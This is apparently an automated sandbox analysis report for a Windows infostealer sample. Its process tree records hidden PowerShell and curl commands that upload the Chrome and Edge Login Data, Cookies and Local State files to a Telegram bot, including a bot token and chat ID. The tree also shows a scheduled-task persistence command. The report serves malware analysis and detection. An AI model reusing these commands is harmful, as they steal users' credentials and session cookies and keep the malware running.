Analysis

  • max time kernel
    149s
  • max time network
    102s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    23/04/2026, 16:48

General

  • Target
    NetSvc_0423_1947.exe
  • Size 700KB
  • Sample260423-va8hash19n
  • SHA256 c88ab1e00c88f2ee32ec279eadf591ca9c77c358bc01755eace98deda83ab89e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\NetSvc_0423_1947.exe
    "C:\Users\Admin\AppData\Local\Temp\NetSvc_0423_1947.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2096
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -W Hidden -C "curl.exe -k -s -X POST https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendMessage -d chat_id=7159337795 -d text='✅ *Service Started*\nNode: JTAOFTKV\nIdentity: Admin'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3212
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -k -s -X POST https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendMessage -d chat_id=7159337795 -d "text=✅ *Service Started*\nNode: JTAOFTKV\nIdentity: Admin"
        3⤵
          PID:3268
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -W Hidden -C "curl.exe -k -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State' -F caption='S1_GC' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4700
        • C:\Windows\system32\curl.exe
          "C:\Windows\system32\curl.exe" -k -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State" -F caption=S1_GC https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
          3⤵
            PID:3412
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -W Hidden -C "curl.exe -k -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data' -F caption='S2_GC' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1856
          • C:\Windows\system32\curl.exe
            "C:\Windows\system32\curl.exe" -k -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" -F caption=S2_GC https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
            3⤵
              PID:2280
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -W Hidden -C "curl.exe -k -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies' -F caption='S3_GC' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1588
            • C:\Windows\system32\curl.exe
              "C:\Windows\system32\curl.exe" -k -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" -F caption=S3_GC https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
              3⤵
                PID:5076
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -W Hidden -C "curl.exe -k -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State' -F caption='S1_ME' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1152
              • C:\Windows\system32\curl.exe
                "C:\Windows\system32\curl.exe" -k -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State" -F caption=S1_ME https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
                3⤵
                  PID:1568
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -W Hidden -C "curl.exe -k -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data' -F caption='S2_ME' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4664
                • C:\Windows\system32\curl.exe
                  "C:\Windows\system32\curl.exe" -k -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" -F caption=S2_ME https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
                  3⤵
                    PID:4648
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -W Hidden -C "curl.exe -k -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies' -F caption='S3_ME' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3436
                  • C:\Windows\system32\curl.exe
                    "C:\Windows\system32\curl.exe" -k -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" -F caption=S3_ME https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
                    3⤵
                      PID:4284
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -W Hidden -C "curl.exe -k -s 'https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/getUpdates?offset=-1&limit=1' -o 'C:\Users\Admin\AppData\Local\Temp\ws_32.tmp'"
                    2⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:2744
                    • C:\Windows\system32\curl.exe
                      "C:\Windows\system32\curl.exe" -k -s https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/getUpdates?offset=-1&limit=1 -o C:\Users\Admin\AppData\Local\Temp\ws_32.tmp
                      3⤵
                        PID:3668
                    • C:\Windows\SYSTEM32\schtasks.exe
                      schtasks /create /f /tn "WinNetManager" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\net_manager.exe" /sc onlogon /rl highest
                      2⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:1360
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -W Hidden -C "curl.exe -k -s 'https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/getUpdates?offset=-1&limit=1' -o 'C:\Users\Admin\AppData\Local\Temp\ws_32.tmp'"
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:2272
                      • C:\Windows\system32\curl.exe
                        "C:\Windows\system32\curl.exe" -k -s https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/getUpdates?offset=-1&limit=1 -o C:\Users\Admin\AppData\Local\Temp\ws_32.tmp
                        3⤵
                          PID:836
                    • C:\Users\Admin\AppData\Roaming\Microsoft\Network\net_manager.exe
                      C:\Users\Admin\AppData\Roaming\Microsoft\Network\net_manager.exe
                      1⤵
                      • Executes dropped EXE
                      PID:4180

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

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                          Downloads

                          powershell.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                          • Size 2KB
                          • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 64B
                          • SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
                          • MD5 SHA1 SHA512

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 64B
                          • SHA256 62ed8ef2250f9f744852cb67df0286c80f94e26aed646989b76e5b78f2f1f0d0
                          • MD5 SHA1 SHA512

                          __PSScriptPolicyTest_g43bgwqw.yn0.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g43bgwqw.yn0.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          ws_32.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\ws_32.tmp
                          • Size 56B
                          • SHA256 a0a1e0f24b392c6da875c10977d169497a47f669b7e671e62330e125a56721fb
                          • MD5 SHA1 SHA512 TLSH

                          net_manager.exe

                          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Network\net_manager.exe
                          • Size 700KB
                          • SHA256 c88ab1e00c88f2ee32ec279eadf591ca9c77c358bc01755eace98deda83ab89e
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/1152-56-0x0000022A0BD60000-0x0000022A0BD72000-memory.dmp

                          memory/1152-55-0x0000022A0BC50000-0x0000022A0BC5C000-memory.dmp

                          memory/1568-51-0x00000278A6300000-0x00000278A630C000-memory.dmp

                          memory/1588-78-0x0000025CFA2F0000-0x0000025CFA2FC000-memory.dmp

                          memory/1588-81-0x0000025CFA8A0000-0x0000025CFA8B2000-memory.dmp

                          memory/1856-68-0x000001D3ED2F0000-0x000001D3ED2FC000-memory.dmp

                          memory/1856-69-0x000001D3ED3C0000-0x000001D3ED3D2000-memory.dmp

                          memory/2272-103-0x000001A830B10000-0x000001A830B1C000-memory.dmp

                          memory/2272-104-0x000001A849220000-0x000001A849232000-memory.dmp

                          memory/2280-62-0x000001BEA84F0000-0x000001BEA84FC000-memory.dmp

                          memory/2744-60-0x000001DAA9470000-0x000001DAA947C000-memory.dmp

                          memory/2744-61-0x000001DAAAC90000-0x000001DAAACA2000-memory.dmp

                          memory/3212-87-0x0000020BEBCB0000-0x0000020BEBCC0000-memory.dmp

                          memory/3212-89-0x0000020BEB960000-0x0000020BEB96C000-memory.dmp

                          memory/3212-25-0x0000020BEBC20000-0x0000020BEBC42000-memory.dmp

                          memory/3212-1-0x0000020BEBCB0000-0x0000020BEBCC0000-memory.dmp

                          memory/3212-113-0x0000020BEB960000-0x0000020BEB96C000-memory.dmp

                          memory/3212-90-0x0000020BEBA10000-0x0000020BEBA22000-memory.dmp

                          memory/3212-88-0x0000020BEBCB0000-0x0000020BEBCC0000-memory.dmp

                          memory/3212-0-0x0000020BEBCB0000-0x0000020BEBCC0000-memory.dmp

                          memory/3412-93-0x0000017FFFB80000-0x0000017FFFB8C000-memory.dmp

                          memory/3412-110-0x0000017FFFB80000-0x0000017FFFB8C000-memory.dmp

                          memory/3436-79-0x000001D8801E0000-0x000001D8801EC000-memory.dmp

                          memory/3436-80-0x000001D8803A0000-0x000001D8803B2000-memory.dmp

                          memory/4284-72-0x0000021005630000-0x000002100563C000-memory.dmp

                          memory/4648-63-0x000001D98DD80000-0x000001D98DD8C000-memory.dmp

                          memory/4664-70-0x000001DA90330000-0x000001DA9033C000-memory.dmp

                          memory/4664-71-0x000001DA903D0000-0x000001DA903E2000-memory.dmp

                          memory/4700-91-0x000002255C450000-0x000002255C45C000-memory.dmp

                          memory/4700-92-0x000002255C950000-0x000002255C962000-memory.dmp

                          memory/4700-117-0x000002255C450000-0x000002255C45C000-memory.dmp

                          memory/5076-73-0x0000028F54C20000-0x0000028F54C2C000-memory.dmp